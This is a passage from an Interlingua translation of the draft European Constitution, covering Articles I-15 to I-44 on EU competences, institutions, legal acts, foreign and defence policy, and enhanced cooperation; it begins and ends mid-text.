III;\nc) le cohesion economic, social e territorial;\nd) le agricultura e le pisca, con exception del conservation del ressources biologic marin;\ne) le ambiente;\nf) le protection del consumitores;\ng) le transportos;\nh) le retes transeuropee;\ni) le energia;\nj) le dominio de libertate, de securitate e de justitia;\nk) le aspectos commun de securitate in materia de sanitate public, in le aspectos definite in le Parte III.\n3. In le dominios del recerca, del disveloppamento technologic e del spatio, le Union dispone de competentia pro realisar actiones, in particular destinate a definir e a realisar programmas, sin que le exercitio de iste competentia pote haber le effecto de impedir al Statos membros exercer lor competentia.ARTICULO I-15\nCoordination de politicas economic e de empleo\n1. Le Statos membros coordina lor politicas economic in le Union. Pro iste fin le Consilio de Ministros adopta mesuras, in particular le orientationes general pro iste politicas.\nEs applicate dispositiones particular al Statos membros cuje moneta es le euro.\n2. Le Union prende mesuras pro garantir le coordination del politicas de empleo del Statos membros, in particular definiente lineas directive pro iste politicas.\n3. Le Union pote adoptar initiativas pro garantir le coordination del politicas social del Statos membros.ARTICULO I-16\nPolitica exterior e de securitate commun\n1. Le competentia del Union in materia de politica exterior e de securitate commun attinge tote le dominios del politica exterior e tote le questiones relative al securitate del Union, includite le definition progressive de un politica commun de defensa, que pote conducer a un defensa commun.\n2. Le Statos membros appoia activemente e sin reservas le politica exterior e de securitate commun del Union, in un spirito de loyalitate e solidaritate mutual, respectante le action del Union in iste dominio. Le Statos membros se abstine de tote action contrari al interesses del Union o de tote action que pote diminuer su efficacia.ARTICULO I-17\nDominios de actiones de appoio, coordination o complemento\n1. Le Union dispone de competentia pro prender actiones de appoio, de coordination o de action complementari. Le dominios de iste actiones es, al nivello europee:\na) protection e melioration del sanitate human;\nb) industria;\nc) cultura;\nd) tourismo;\ne) education, juventute, sport e formation professional;\nf) protection civil;\ng) cooperation administrative.ARTICULO I-18\nClausula de flexibilitate\n1.Quando on considera necessari un action del Union in le quadro definite in le Parte III, pro obtener un del objectivos fixate per le Constitution, sin que le Constitution ha previdite le poteres necessari, le Consilio de Ministros, per unanimitate, per proposition del Commission e previe approbation del Parlamento Europee, adopta le mesuras appropriate.\n2. Le Commission Europee, in le quadro del procedura de controlo del principio de subsidiaritate mentionate in le articulo I-11(3), indica al parlamentos national del Statos membros le propositiones fundate super le articulo presente.\n3. Le mesuras fundate super le presente articulo non pote comportar un harmonisation del dispositiones legislative e regulamentari del Statos membros, in le casos in le quales le Constitution exclude un tal harmonisation.\nTITULO IV\nINSTITUTIONES E ORGANOS DEL UNION\nCAPITULO I\nLE QUADRO INSTITUTIONAL\nARTICULO I-19\nInstitutiones del Union\n1. Le Union dispone de un quadro institutional que ha como scopo:\n- promover su valores;\n- prosequer su objectivos;\n- servir su interesses, los de su citatanos e los del Statos membros;\n- garantir le coherentia, le efficacia e le continuitate de su politicas e actiones.\nIste quadro institutional es formate per:\n- le Parlamento Europee,\n- le Consilio Europee,\n- le Consilio de Ministros (infra denominate \"Consilio\"),\n- le Commission Europee (infra denominate \"Commission\"),\n- le Tribunal de Justitia del Union Europee.\n2. Cata institution age intra le limites del competentias que on lo attribue in le Constitution, in conformitate con le proceduras e conditiones mentionate in le Constitution. Le institutiones mantene inter se un cooperation loyal.ARTICULO I-20\nLe Parlamento Europee\n1. Le Parlamento Europee exerce, junctemente con le Consilio, le function legislative e le function budgetari. Illo exerce functiones de controlo politic e functiones consultative a conditiones previste per le Constitution. Le Parlamento elige le Presidente del Commission Europee.\n2. Le Parlamento Europee es componite de representantes de citatanos del Union. Su numero non debe exceder septe centos cinquanta. Le representation del citatanos es in modo de proportionalitate decrescente, con un minimo de sex deputatos per Stato membro. On non assigna a alcun Stato membro plus de novanta sex sedes.\nLe Consilio Europee adopta per unanimitate, per initiativa del Parlamento Europee e con su approbation, un decision europee que establi le composition del Parlamento Europee conformemente con le principios al quales le prime paragrapho refere.\n3. Le deputatos del Parlamento Europee es eligite per suffragio universal directe, libere e secrete, pro un periodo de cinque annos.\n4. Le Parlamento Europee elige su Presidente e su presidium inter su deputatos.ARTICULO I-21\nLe Consilio Europee\n1. Le Consilio Europee da al Union le impulsos necessari pro su disveloppamento e defini su orientationes e prioritates politic general. Illo non exerce function legislative.\n2. Le Consilio Europee es componite del chefes de Stato o de Governamento del Statos membros, assi como de su Presidente e del Presidente del Commission. Le Ministro de Affaires Exterior del Union participa in su labores.\n3. Le Consilio Europee se reuni cata trimestre convocate per su Presidente. Quando le ordine del die lo exige, le membros del Consilio Europee pote decider que cata membro del Consilio pote esser assistite per un ministro e, in le caso del Presidente del Commission, per un membro del Commission. Quando le situation lo exige, le Presidente convoca un reunion extraordinari del Consilio Europee.\n4. Le Consilio Europee prende decisiones per consenso, salvo quando le Constitution dispone alteremente.ARTICULO I-22\nLe Presidente del Consilio Europee\n1. Le Consilio Europee elige su Presidente per majoritate qualificate pro un mandato de duo annos e medie, que es renovabile un sol vice. In caso de serie impedimento o falta grave, le Consilio Europee pote poner fin a su mandato per le mesme procedura.\n2. Le Presidente del Consilio Europee:\na) preside e anima le labores del Consilio Europee;\nb) se incarga del preparation e continuitate del labores del Consilio Europee, in collaboration con le Presidente del Commission, e super le base del labores del Consilio de Affaires General;\nc) se effortia pro facilitar le cohesion e le consenso in le sino del Consilio Europee;\nd) presenta un reporto al Parlamento Europee post cata incontro del Consilio Europee.\nLe Presidente del Consilio Europee assume, a su nivello e qualitate, le representation externe del Union in le affaires de politica exterior e de securitate commun, sin prejudicio del attributiones del Ministro de Affaires Exterior del Union.\n3. Le Presidente del Consilio Europee non pote exercer un mandato national.ARTICULO I-23\nLe Consilio de Ministros\n1. Le Consilio exerce, conjunctemente con le Parlamento Europee, le function legislative, le function budgetari e le functiones de definition de politica e de coordination, in conformitate con conditiones fixate per le Constitution.\n2. Le Consilio es componite de un representante de cata Stato membro, a nivello ministerial, autorisate a facer decisiones obligatori pro le Governamento del Stato membro que ille o illa representa, e a exercer su derecto de voto.\n3. Le Consilio de Ministros prende decisiones per majoritate qualificate, salvo quando le Constitution dispone alteremente.ARTICULO I-24\nFormationes del Consilio de Ministros\n1. Le Consilio se reuni in varie formationes.\n2. Le Consilio de Affaires General assecura le coherentia del labores del varie formationes del Consilio. Illo prepara le reuniones del Consilio Europee conjunctemente con le Presidente del Consilio Europee e le Commission.\n3. Le Consilio de Affaires Exterior elabora le action externe del Union secundo le lineas strategic definite per le Consilio Europee e assecura le coherentia del actiones del Union.\n4. Le Consilio Europee adopta per majoritate qualificate un decision europee establiente le relation del altere formationes del Consilio.\n5. Un Committee de Representantes Permanente del Governamentos del Statos membros se carga de preparar le labores del Consilio.\n6. Le reuniones del Consilio es public quando illo delibera e vota re un projecto de acto legislative. Con iste fin, cata session del Consilio se divide in duo partes, dedicate respectivemente al deliberationes re le actos legislative del Union e al activitates non-legislative.\n7. Le Presidentia del formationes del Consilio, con exception del Presidentia de Affaires Exterior, es assumite per le representantes del Statos membros in le Consilio secundo un systema de rotation equal, in conformitate con le conditiones previste per un decision europee del Consilio Europee. Le Consilio Europee prende decision per majoritate qualificate.ARTICULO I-25\nDefinition del majoritate qualificate in le Consilio Europee e in le Consilio\n1. Le majoritate qualificate se defini como al minus 55% del membros del Consilio, con un minimo de 15 membros del Consilio, qui debe representar Statos membros que insimul contine al minus 65% del population del Union.\nUn minoritate blocante debe comprehender al minus quatro membros del Consilio; si iste numero de quatro non es attingite, le majoritate qualificate es considerate obtenite.\n2. Nonobstante lo que es disponite in le paragrapho 1, quando le Consilio non prende decision re un proposition del Commission o del Ministro de Affaires Exterior del Union, le majoritate qualificate se defini como al minus 72% del membros del Consilio que representa Statos membros con al minus 65% del population del Union.\n3. Le paragraphos 1 e 2 se applica al Consilio Europee quando illo decide per majoritate qualificate.\n4. Le Presidente del Consilio Europee e le Presidente del Commission non participa in le votationes del Consilio Europee.ARTICULO I-26\nLe Commission Europee\n1. Le Commission promove le interesse general del Union e prende le initiativas adequate con iste fin. Le Commission survelia le application del Constitution e del dispositiones adoptate per le institutiones in virtute del Constitution. Illo survelia le application del Derecto del Union sub le controlo del Tribunal de Justitia del Union Europee. Illo executa le budget e gere le programmas. Illo exerce le functiones de coordination, de execution e gestion, in conformitate con le conditiones previste per le Constitution. Con exception del politica exterior e del securitate commun e del altere casos previste per le Constitution, le Commission assume le representation externe del Union. Illo prende le initiativas del programmation annual e pluriannual del Union con le scopo de attinger accordos interinstitutional.\n2. Le actos legislative del Union debe esser adoptate per proposition del Commission, salvo si le Constitution dispone alteremente. Le altere actos es adoptate per proposition del Commission quando le Constitution lo prescribe assi.\n3. Le mandato del Commission es cinque annos.\n4. Le membros del Commission es eligite in ration de lor competentia general e de lor ingagiamento europee e inter personas cuje independentia es garantite.\n5. Le prime Commission nominate, in conformitate con lo que es disponite in le Constitution, es componite de un citatano de cata Stato membro, includite le Presidente e le Ministro de Affaires Exterior del Union, qui es un de su Vicepresidentes.\n6. Ab le fin del mandato del Commission mentionate in le paragrapho 5, le Commission es componite de un numero de membros correspondente al duo tertios del numero de Statos membros, que include su Presidente e le Ministro de Affaires Exterior del Union, a minus que le Consilio Europee per unanimitate decide modificar iste numero.\nLe membros del Commission es selectionate inter le citatanos del Statos membros secundo un systema de rotation equal inter le Statos membros. Iste systema es establite per un decision europee adoptate per unanimitate per le Consilio Europee e in conformitate con le sequente principios:\na) le Statos membros es tractate absolutemente equalmente pro le determination e duration de lor membrato in le Commission. In consequentia, le differentia inter le numero total de periodos de mandato pro citatanos de duo Statos membros nunquam debe esser superior a un.\nb) Salvo le puncto a), cata uno del successive Commissiones es constituite de tal modo que illo reflecte de maniera satisfactori le diversitate demographic e geographic del insimul del Statos membros.\n7. Le Commission exerce su responsabilitates con absolute independentia. Sin prejudicio del articulo I-28(2), le membros del Commission sollicita o accepta instructiones de necun governamento, institution, organo o organismo. Le membros del Commission se abstine de tote action incompatibile con lor obligationes o con le execution de lor functiones.\n8. Le Commission ha un responsabilitate collective ante le Parlamento Europee. Le Parlamento Europee pote adoptar un motion de censura contra le Commission in conformitate con le articulo III-340. Si un tal motion es approbate, le membros del Commission debe dimitter se collectivemente de lor cargas e le Ministro de Affaires Exterior del Union debe dimitter se del carga que ille exerce in le Commission.ARTICULO I-27\nLe Presidente del Commission Europee\n1. In consideration del resultato del electiones al Parlamento Europee e post consultationes appropriate, le Consilio Europee propone al Parlamento Europee, per majoritate qualificate, un candidato al function de Presidente del Commission. Le Parlamento Europee elige le candidato per majoritate de su membros. In le caso que le candidato non ha iste majoritate, le Consilio Europee propone al Parlamento un nove candidato intra un mense, per le mesme procedura.\n2. Le Consilio, in accordo commun con le Presidente eligite, adopta le lista de altere personalitates que le Consilio propone nominar como membros del Commission. Iste personas es selectionate super le base de propositiones presentate per le Statos membros, in conformitate con le criterios mentionate in le articulo I-26(4) e in le secunde parte de I-26(6). Le Presidente, le Ministro de Affaires Exterior del Union e le altere membros del Commission se submitte collectivemente a un voto de approbation del Parlamento Europee. Super le base de iste approbation, le Commission es nominate per le Consilio Europee, per majoritate qualificate.\n3. Le Presidente del Commission:\na) defini le orientationes pro missiones del Commission;\nb) determina le organisation interne del Commission a fin de assecurar le coherentia, efficacia e collegialitate de su actiones;\nc) nomina le Vicepresidentes, distincte del Ministro de Affaires Exterior del Union, inter le membros del Commission.\nUn membro del Commission presenta su dimission, si le Presidente lo demanda. Le Ministro de Affaires Exterior del Union presenta su dimission, si le Presidente lo demanda, in conformitate con le procedura establite in le articulo I-28(1).ARTICULO I-28\nLe Ministro de Affaires Exterior del Union\n1. Per majoritate qualificate e con le approbation del Presidente del Commission, le Consilio Europee nomina le Ministro de Affaires Exterior del Union. Le Consilio Europee pote poner fin a su mandato per le mesme procedura.\n2. Le Ministro de Affaires Exterior del Union conduce le politica exterior e de securitate commun del Union. Ille contribue con su propositiones pro elaborar iste politica exterior e ille lo executa como mandatario del Consilio. Ille age del mesme modo in relation con le politica de securitate e defensa commun.\n3. Le Ministro de Affaires Exterior del Union preside le Consilio de Affaires Exterior.\n4. Le Ministro de Affaires Exterior del Union es un del Vicepresidentes del Commission. Ille velia le coherentia del action externe del Union. In le Commission ille se incarga del responsabilitates que incumbe al Commission in le campo del relationes externe pro coordinar le altere aspectos del action externe del Union. In le exercitio de iste responsabilitates intra le Commission, e exclusivemente pro iste sorta de responsabilitates, le Ministro de Affaires Exterior del Union es subjecte al proceduras que regula le functionamento del Commission, in tanto que isto es compatibile con le paragraphos 2 e 3.ARTICULO I-29\nLe Tribunal de Justitia del Union Europee\n1. Le Tribunal de Justitia del Union Europee comprehende le Tribunal de Justitia, le Tribunal General e le tribunales specialisate. Illo garanti le respecto de derecto in le interpretation e application del Constitution.\nLe Statos membros establi le remedios jurisdictional necessari pro garantir un jurisdiction efficiente in le sectores coperite per le Derecto del Union.\n2. Le Tribunal de Justitia es componite de un judice de cata Stato membro. Illo es assistite per advocatos general.\nLe Tribunal General dispone de al minus un judice per Stato membro.\nLe judices e le advocatos general del Tribunal de Justitia e le judices del Tribunal General es eligite inter personas qui offere plen garantia de independentia e qui satisface le conditiones requirite in le articulos III-355 e III-356. Illes es appunctate in accordo commun per le governamentos del Statos membros pro un mandato de sex annos. Le judices e le advocatos sortiente pote esser nominate de novo.\n3. Le Tribunal de Justitia del Union Europee decide in conformitate con le Parte III:\na) re le recursos presentate per un Stato membro, per un institution o per personas physic o juridic;\nb) con character prejudicial, per petition de organos jurisdictional national, re le interpretation del Derecto del Union o re le validitate del actos adoptate per le institutiones;\nc) in le altere casos previste per le Constitution.\nCAPITULO II\nALTERE INSTITUTIONES E ORGANOS CONSULTATIVE DEL UNION\nARTICULO I-30\nLe Banca Central Europee\n1. Le Banca Central Europee e le bancas central national forma le Systema Europee de Bancas Central. Le Banca Central Europee e le bancas central national del Statos membros cuje moneta es le euro, le quales constitue le Eurosystema, exerce le politica monetari del Union.\n2. Le Systema Europee de Bancas Central es dirigite per le organos de decision del Banca Central Europee. Le objectivo principal del Systema Europee de Bancas Central es mantener le stabilitate del precios. Sin prejudicio de iste objectivo, illo presta appoio al politicas economic general del Union pro contribuer al realisation del objectivos del Union. Illo realisa tote le altere missiones de un banca central in conformitate con le Parte III e con le Statutos del Systema Europee de Bancas Central e del Banca Central Europee.\n3. Le Banca Central Europee es un institution. Illo ha personalitate juridic. Illo ha le unic habilitate a autorisar le emission del euro. Illo es independente in le exercitio de su competentias e in le gestion de su financias. Le institutiones, organos e organismos del Union e le governamentos del Statos membros respecta iste independentia.\n4. Le Banca Central Europee adopta le mesuras necessari pro le complimento de su commissiones in conformitate con le articulos III-185 a III-191 e III-196 e con le conditiones establite in le Statutos del Systema Europee de Bancas Central e del Banca Central Europee. In conformitate con le articulos mentionate, le Statos membros cuje moneta non es le euro, e anque lor bancas central, mantene lor competentias in le dominio monetari.\n5. In le dominios de su competentia, on consulta le Banca Central Europee concernente cata projecto de acto del Union e anque concernente cata projecto de regulamentation al nivello national. Le Banca pote dar su aviso.\n6. Le organos de decision del Banca Central Europee, lor composition e lor conditiones de functionamento es definite in le articulos III-192, III-193, III-382 e III-383 e anque in le Statutos del Systema Europee de Bancas Central e del Banca Central Europee.ARTICULO I-31\nLe Tribunal de Contos\n1. Le Tribunal de Contos es un institution. Illo effectua le controlo del contos del Union.\n2. Le Tribunal de Contos examina le contos del totalitate del receptas e del dispensas del Union e garanti un bon gestion financiari.\n3. Le Tribunal de Contos es componite de un citatano de cata Stato membro. Le membros del Tribunal exerce lor functiones con plen independentia, in interesse general del Union.ARTICULO I-32\nOrganos consultative del Union\n1. Le Parlamento Europee, le Consilio e le Commission Europee es assistite per un Committee del Regiones e per un Committee Economic e Social, le quales exerce functiones consultative.\n2. Le Committee del Regiones es componite de representantes del collectivitates regional e local que es sia titulares de un mandato electoral in un collectivitate regional o local, sia politicamente responsabile ante un assemblea eligite.\n3. Le Committee Economic e Social es componite de representantes del organisationes de empleatores, de empleatos, e del altere sectores representative del societate civil, in particular in le dominios socio-economic, civic, professional e cultural.\n4. Le membros del Committee de Regiones e del Committee Economic e Social non es ligate per alcun mandato imperative. Illes exerce lor functiones con plen independentia in le interesse general del Union.\n5. Le regulas relative al composition de iste Committees, al designation de lor membros, lor competentias e a lor attributiones e functionamento, es definite in le articulos III-386 a III-392.\nLe regulas mentionate in le paragraphos 2 e 3, relative al character de lor composition, es revidite periodicamente per le Consilio pro tener conto del evolution economic, social e demographic in le Union. Le Consilio, per proposition del Commission, adopta decisiones europee pro iste scopo.\nTITULO V\nEXERCITIO DEL COMPETENTIAS DEL UNION\nCAPITULO I\nDISPOSITIONES COMMUN\nARTICULO I-33\nActos juridic del Union\n1. Pro exercer le competentias del Union le institutiones utilisa le sequente instrumentos juridic, in conformitate con lo que es disponite in le Parte III: le lege europee, le lege-quadro europee, le regulamento europee, le decision europee, le recommendationes, e le avisos.\nLe lege europee es un acto legislative de portata general. Illo es obligatori in tote su elementos e directemente applicabile in cata Stato membro.\nLe lege-quadro europee es un acto legislative que obliga le Stato membro destinatario quanto al resultato a attinger, ma lassante al autoritates national le competentia de eliger le forma e le medios.\nLe regulamento europee es un acto non-legislative de portata general que ha pro objecto le execution de actos legislative e de certe dispositiones del Constitution. Illo pote sia esser obligatori in tote su elementos e directemente applicabile in cata Stato membro, sia obligar cata Stato membro destinatario quanto al resultato a attinger, ma lassante al autoritates national le competentia de eliger le forma e le medios.\nLe decision europee es un acto non-legislative obligatori in tote su elementos. Quando illo designa destinatarios, le decision es obligatori solmente pro iste destinatarios.\nLe recommendationes e le avisos non ha effecto obligatori.\n2. Quando un proposition de acto legislative se presenta al Parlamento Europee e al Consilio, istes se abstine de adoptar actos non previste per le procedura legislative applicabile al dominio concernite.ARTICULO I-34\nActos legislative\n1. Le leges e le leges-quadros europee, per proposition del Commission, es adoptate conjunctemente per le Parlamento Europee e le Consilio, in conformitate con le proceduras legislative special mentionate in le articulo III-396. Si iste duo institutiones non perveni a un accordo, le acto in question non es adoptate.\n2. In le casos specific mentionate in le Constitution, le leges e leges-quadros europee es adoptate per le Parlamento Europee con le participation del Consilio, o per le Consilio con le participation del Parlamento Europee, secundo proceduras legislative special.\n3. In le casos specific previste per le Constitution, le leges e leges-quadros europee pote esser adoptate per initiativa de un gruppo de Statos membros o del Parlamento Europee, per recommendation del Banca Central Europee, o per petition del Tribunal de Justitia del Union Europee o del Banca Europee de Investimentos.ARTICULO I-35\nActos non-legislative\n1. Le Consilio Europee adopta decisiones europee in le casos mentionate in le Constitution.\n2. Le Consilio e le Commission, in particular in le casos mentionate in le articulos I-36 e I-37, assi como le Banca Central Europee in le casos specific mentionate in le Constitution, adopta regulamentos o decisiones europee.\n3. Le Consilio adopta recommendationes. Le Consilio decide, per proposition del Commission, in tote le casos in le quales le Constitution dispone que le Consilio adopta actos per proposition del Commission. Le Consilio prende decision per unanimitate in le dominios pro le quales le unanimitate es requirite pro le adoption de un acto del Union. Le Commission assi como le Banca Central Europee, in le casos specific previste per le Constitution, adopta recommendationes.ARTICULO I-36\nRegulamentos europee delegate\n1. Le leges e le leges-quadros europee pote delegar al Commission le poter de adoptar regulamentos europee delegate que completa o modifica certe elementos non-essential del lege o del lege-quadro.\nLe leges e leges-quadros europee delimita explicitemente le objectivos, le contento, le campo de application e le duration del delegation de poter. Le regulation del elementos essential de un dominio es reservate al lege o al lege-quadro europee e, consequentemente non pote esser objecto de un delegation de poter.\n2. Le leges e leges-quadros europee fixa explicitemente le conditiones al quales le delegation es subjecte, que pote esser le sequentes:\na) le Parlamento Europee o le Consilio pote decider revocar le delegation;\nb) le regulamento europee delegate solmente pote entrar in vigor, si le Parlamento Europee o le Consilio non ha formulate objectiones intra le periodo fixate in le lege o lege-quadro europee.\nConcernente le punctos a) e b), le Parlamento Europee decide per majoritate de su membros, e le Consilio lo face per majoritate qualificate.ARTICULO I-37\nActos de execution\n1. Le Statos membros prende tote le mesuras de Derecto interne necessari pro le execution del actos juridicamente obligatori del Union.\n2. Quando conditiones uniforme de execution del actos juridicamente obligatori del Union es necessari, iste actos confere competentias de execution al Commission, o, in casos specific debitemente justificate e in le casos mentionate in le articulo I-40, al Consilio.\n3. Pro le scopos de paragrapho 2, le lege europee establi previemente le regulas e principios general relative al modalitates de controlo, per le Statos membros, del exercitio del competentia de execution per le Commission.\n4. Le actos de execution del Union prende le forma de regulamentos europee de execution o de decisiones europee de execution.ARTICULO I-38\nPrincipios commun del actos juridic del Union\n1. Quando le Constitution non establi le typo de acto que on debe adoptar, le institutiones decide in cata caso, in conformitate con proceduras applicabile e con le principio de proportionalitate mentionate in le articulo I-11.\n2. Le actos juridic debe esser motivate e referer al propositiones, initiativas, recommendationes, petitiones o avisos mentionate in le Constitution.ARTICULO I-39\nPublication e entrata in vigor>\n1 Le leges e le leges-quadros adoptate conformemente con le procedura legislative ordinari es signate per le Presidente del Parlamento Europee e per le Presidente del Consilio.\nIn le altere casos, illos es signate per le Presidente del institution que los ha adoptate.\nLe leges e le leges-quadros europee es publicate in le Jornal Official del Union Europee e entra in vigor al data que illos fixa o, in absentia de un data, vinti dies post lor publication.\n2 Le regulamentos europee e le decisiones europee que non indica destinatarios es signate per le Presidente del institution que los ha adoptate.\nLe regulamentos europee e le decisiones europee que non indica destinatarios es publicate in le Jornal Official del Union Europee e entra in vigor al data que illos fixa o, in absentia de un data, vinti dies post lor publication.\n3. Le decisiones europee distincte de illos mentionate in le paragrapho 2 es notificate a lor destinatarios e ha effecto per iste notification.\nCAPITULO II\nDISPOSITIONES PARTICULAR\nARTICULO I-40\nDispositiones particular relative al execution del politica exterior e de securitate commun\n1. Le Union Europee exerce un politica exterior e de securitate commun basate super le disveloppamento del solidaritate politic mutual del Statos membros, super le definition de questiones presentante un interesse general e super le obtention de un grado sempre crescente de convergentia del actiones del Statos membros.\n2. Le Consilio Europee determina le interesses strategic del Union e fixa le objectivos de su politica exterior e de securitate commun. Le Consilio elabora iste politica in le quadro del lineas strategic establite per le Consilio Europee e in conformitate con lo que es disponite in le Parte III.\n3. Le Consilio Europee e le Consilio adopta le decisiones europee necessari.\n4. Le Politica exterior e de securitate commun es executate per le Ministro de Affaires Exterior del Union e per le Statos membros utilisante le medios national e le medios del Union.\n5. Le Statos membros se concerta in le sino del Consilio Europee e del Consilio re tote question de politica exterior e de securitate que presenta un interesse general, a fin de establir un approche commun. Ante interprender qualcunque action super le scena international o assumer qualcunque obligation que poterea affectar le interesses del Union, cata Stato membro consulta le altere Statos in le sino del Consilio Europee o del Consilio. Le Statos membros garanti, per le convergentia de lor actiones, que le Union pote defender su interesses e su valores super le scena international. Le Statos membros es solidari inter se.\n6. In materia de politica exterior e de securitate commun, le Consilio Europee e le Consilio adopta decisiones europee per unanimitate, salvo in le casos mentionate in le Parte III. Illos decide re le initiativa de un Stato membro, re le proposition del Ministro de Affaires Exterior del Union, o re le proposition de iste Ministro con le appoio del Commission. Le leges e leges-quadros europee non se utilisa in iste materia.\n7. Le Consilio Europee pote adoptar per unanimitate un decision europee que establi que le Consilio decide per majoritate qualificate in casos distincte de illos mentionate in le Parte III.\n8. On consulta periodicamente le Parlamento Europee re le aspectos principal e le optiones fundamental del politica exterior e de securitate commun. Le Parlamento Europee remane informate de su evolution.ARTICULO I-41\nDispositiones particular relative al execution del politica commun de securitate e defensa>\n1. Le politica commun de securitate e defensa forma parte integrante del politica exterior e de securitate commun. Illo offere al Union un capacitate operative per medios civil e militar. Le Union pote recurrer a iste medios in missiones foras del Union que ha como objectivo garantir le mantenimento del pace, le prevention de conflictos e le reinfortiamento del securitate international, in conformitate con le principios del Charta del Nationes Unite. Le execution de iste cargas se basa super le capacitates offerite per le Statos membros.\n2. Le politica commun de securitate e defensa include le definition progressive de un politica commun de defensa del Union. Isto conduce a un defensa commun, quando le Consilio Europee lo ha decidite per unanimitate. In iste caso, le Consilio Europee recommenda al Statos membros que illos adopta un decision in iste senso in conformitate con lor respective regulas constitutional.\nLe politica del Union in le senso del presente articulo non affecta le character specific del politica de securitate e de defensa de certe Statos membros. Illo respecta le obligationes derivate del Tractato del Atlantico Nordic pro certe Statos membros que considera que lor defensa commun se realisa in le quadro del Organisation del Tractato del Atlantico Nordic, e illo es compatibile con le politica commun de securitate e de defensa adoptate in iste contexto.\n3. Le Statos membros pone al disposition del Union, pro le execution del politica commun de securitate e de defensa, capacitates civil e militar pro contribuer al objectivos definite per le Consilio de Ministros. Le Statos membros que constitue inter se fortias multinational pote anque poner los al disposition del politica commun de securitate e de defensa.\nLe Statos membros se obliga a meliorar progressivemente lor capacitates militar. On crea un Agentia in le campo del disveloppamento del capacitates de defensa, de recerca, de acquisitiones e del armamento (Agentia Europee de Defensa) pro identificar le necessitates operative, promover mesuras pro satisfacer los, contribuer a identificar e, in su caso, applicar qualcunque disposition opportun pro reinfortiar le base industrial e technologic in le sector del defensa, pro participar in le definition de un politica europee de capacitates e de armamento, e pro adjutar le Consilio in le evalutation del melioration del capacitates militar.\n4. Le Consilio adopta per unanimitate, per proposition del Ministro de Affaires Exterior del Union o per proposition de un Stato membro, le decisiones europee relative al execution del politica commun de securitate e de defensa, includite decisiones relative al initio de un mission mentionate in le presente articulo. Le Ministro de Affaires Exterior del Union pote proponer recurso al medios national e al instrumentos del Union, in su caso junctemente con le Commission.\n5. Le Consilio pote confider le realisation de un mission, in le quadro del Union, a un gruppo de Statos membros a fin de preservar le valores del Union e favorar su interesses. Le realisation de un tal mission es regite per le articulo III-310.\n6. Le Statos membros, que compli criterios plus elevate de capacitates militar e que ha subscribite inter se obligationes plus constringente in vista del missiones le plus exigente, establi un cooperation structurate permanente in le quadro del Union. Iste cooperation es regite per lo que es disponite in le articulo III-312. Iste cooperation non affecta le dispositiones in le articulo III-309.\n7. Si un Stato membro es objecto de un aggression armate in su territorio, le altere Statos membros debe prestar lo adjuta e assistentia con tote le medios que es in lor poter in conformitate con le articulo 51 del Charta del Nationes Unite. Illo non affecta le character specific del politica de securitate e de defensa de certe Statos membros.\nLe obligationes e le cooperation in iste campo es conforme con le obligationes subscribite in le Organisation del Tractato del Atlantico Nordic que remane, pro le Statos membros que forma parte del Organisation, le fundamento de lor defensa collective e le organismo de execution de iste defensa collective.\n8. Le Parlamento Europee es consultate regularmente re le aspectos principal e optiones fundamental del politica commun de securitate e de defensa. Le Parlamento Europee es informate re iste evolution.ARTICULO I-42\nDispositiones particular relative al realisation del spatio de libertate, securitate e justitia>\n1. Le Union constitue un spatio de libertate, securitate e justitia:\na) per mediar le adoption de leges e leges-quadros europee tendente, si necessari, a approximar le dispositiones legislative e regulamentari del Statos membros in le campos mentionate in le Parte III;\nb) per promover le confidentia mutual inter le autoritates competente del Statos membros, in particular super le base de recognoscimento mutual del resolutiones judiciari e extrajudiciari;\nc) per mediar le cooperation operative del autoritates competente del Statos membros, includite le servicios de policia, de doana e altere servicios specialisate in le prevention e detection de infractiones penal.\n2. Le Parlamentos national pote, in le quadro del spatio de libertate, securitate e justitia, participar in le mechanismos de evalutation mentionate in le articulo III-260. Le Parlamentos national es associate al controlo politic de Europol e al evalutation del activitates de Eurojust in conformitate con le articulos III-276 e III-273.\n3. Le Statos membros ha le derecto de initiativa in le dominio del cooperation policiari e judiciari in materia penal, conformemente con le articulo III-264.ARTICULO I-43\nClausula de solidaritate\n1. Le Union e su Statos membros age conjunctemente in un spirito de solidaritate, si un Stato membro es le objecto de un attacco terrorista o le victima de un catastrophe natural o de origine human. Le Union mobilisa tote le instrumentos a su disposition, includite le medios militar ponite a su disposition per le Statos membros, pro:\na)\n- prevenir le menacia terrorista in le territorio del Statos membros;\n- proteger le institutiones democratic e le population civil de un possibile attacco terrorista;\n- prestar assistentia a un Stato membro in su territorio, post petition de su autoritates politic,in le caso de un attacco terrorista;\nb)\n- prestar assistentia a un Stato membro in su territorio, post petition de su autoritates politic,in le caso de un catastrophe natural o de origine human.\n2. Le modalitates de application del presente articulo es mentionate in le articulo III-329.\nCAPITULO III\nCOOPERATION REINFORTIATE\nARTICULO I-44\nCooperationes reinfortiate\n1. Le Statos membros que vole instaurar inter se un cooperation reinfortiate in le quadro del competentias non-exclusive del Union pote facer uso del institutiones del Union e exercer iste competentias per applicar le dispositiones pertinente del Constitution, intra le limites e secundo modalitates mentionate in le presente articulo e in le articulos III-416 a III-423.\nLe cooperationes reinfortiate visa a impulsar le objectivos del Union, proteger su interesses e reinfortiar su processo de integration. Le cooperation reinfortiate intende favorar le realisation del objectivos del Union, preservar su interesses, e reinfortiar su processo de integration. Illos es aperte permanentemente a tote le Statos membros, in conformitate con le articulo III-418.\n2. Le decision europee de autorisar un cooperation reinfortiate es adoptate per le Consilio como ultime recurso, quando illo ha arrivate al conclusion que le objectivos prosequite per iste cooperation non pote esser obtenite, in un periodo rationabile, per tote le Union, e con le condition que in ille cooperation participa, al minus, un tertio del Statos membros. Le Consilio decide per le procedura mentionate in le articulo III-419.\n3. Tote le membros del Consilio pote participar in su deliberationes, ma in le votation participa solmente le membros del Consilio qui representa le Statos membros participante in un action reinfortiate.\nLe unanimitate es constituite unicamente per le votos del representantes del Statos membros participante.\nLe majoritate qualificate se defini como al minus 55% del membros del Consilio representante le Statos membros participante, que reuni como minimo 65% del population de iste Statos.\nUn minoritate de blocada debe includer al minus le numero minime de membros del Consilio representante plus de 35% del population del Statos membros participante, plus un membro; si isto non es le caso, le majoritate qualificate es considerate obtenite.\nNonobstante lo que es disponite in le paragraphos 3 e 4, quando le Consilio non prende decision per proposition del Commission o del Ministro de Affaires Exterior del Union, le majoritate qualificate requirite se defini como al minus 72% del membros del Consilio representante le Statos membros participante que reuni al minus 65% del population de iste Statos membros.\n4. Le actos adoptate in le quadro de un cooperation reinfortiate liga solmente le Statos membros participante. Iste actos non es considerate como un acquesto que debe esser acceptate per le Statos candidatos al adhesion al Union.\nTITULO VI\nVITA DEMOCRATIC DEL UNION\nARTICULO I-45\nPrincipio de 